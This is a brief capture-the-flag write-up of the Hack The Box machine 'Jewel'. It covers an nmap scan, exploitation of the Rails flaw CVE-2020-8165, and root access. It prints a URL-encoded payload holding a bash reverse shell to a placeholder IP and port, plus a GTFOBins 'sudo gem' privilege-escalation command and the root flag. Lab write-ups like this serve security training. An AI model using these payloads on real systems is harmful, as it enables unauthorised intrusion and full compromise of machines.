

Jewel

nmap

```
[grizzly@parrot]-[~/codice/attivo/hackTheBox/machine/Jewel]
$pscan ii 10.10.10.211
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-12 19:49 CEST
Nmap scan report for 10.10.10.211
Host is up (0.051s latency).
Not shown: 65532 filtered ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 fd:80:8b:0c:73:93:d6:30:dc:ec:83:55:7c:9f:5d:12 (RSA)
|   256 61:99:05:76:54:07:92:ef:ee:34:cf:b7:3e:8a:05:c6 (ECDSA)
|_  256 7c:6d:39:ca:e7:e8:9c:53:65:f7:e2:7e:c7:17:2d:c3 (ED25519)
8000/tcp  open  http      Apache httpd 2.4.38
|_ http-generator: gitweb/2.20.1 git/2.20.1
| http-open-proxy: Potentially OPEN proxy.
|_ Methods supported:CONNECTION
|_ http-server-header: Apache/2.4.38 (Debian)
| http-title: 10.10.10.211 Git
|_ Requested resource was http://10.10.10.211:8000/gitweb/
8080/tcp  open  http      nginx 1.14.2
```

nmap show us some port.

22: is inaccessible.

8000: contains the .git directory of the web app, nothing interesting to be honest.

8080: a website with the possibility of registration and login, that's always a nice thing.

once inside we can see that every page we visit is showed in the url with a path composition, using burp and analyzing the different req available

we can notice that in the “change username” request there's a lot of data.

googling a bit about ruby on rails url vulnerability a recent exploit pop up, CVE-2020-8165.

After turning up a listener and adjusting with our payload the string shown into the <curl> request from masahiro331

Let's use one of our best friend: <https://gtfobins.github.io/>

Searching “gem” in the searchbar we'll be able to find out the command for running a priv esc:

```
sudo gem open -e "/bin/sh -c /bin/sh" rdoc
```

And here we go, we're root and the box is finally completed!

```
# id
id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
cd /root
# whoami
whoami
root
# id
id
uid=0(root) gid=0(root) groups=0(root)
# cat root.txt
cat root.txt
9e4713a389e79f68e16359cec5f8c338
# @RedBit
```

payload:

```
aW2ym4JPvi3T0Kwaooa4iploO2NAviF2wZWaSW5hRbtZUB%2FiUgSS37OzsZ8
c+%22%2Fbin%2Fbash+-i+%3E%26+%2Fdev%2Ftcp%2FYOUR IP%2F
YOUR PORT
+0%3E%261%22%60%06%3A%06ET%3A%0E%40filename%22%061%06%
```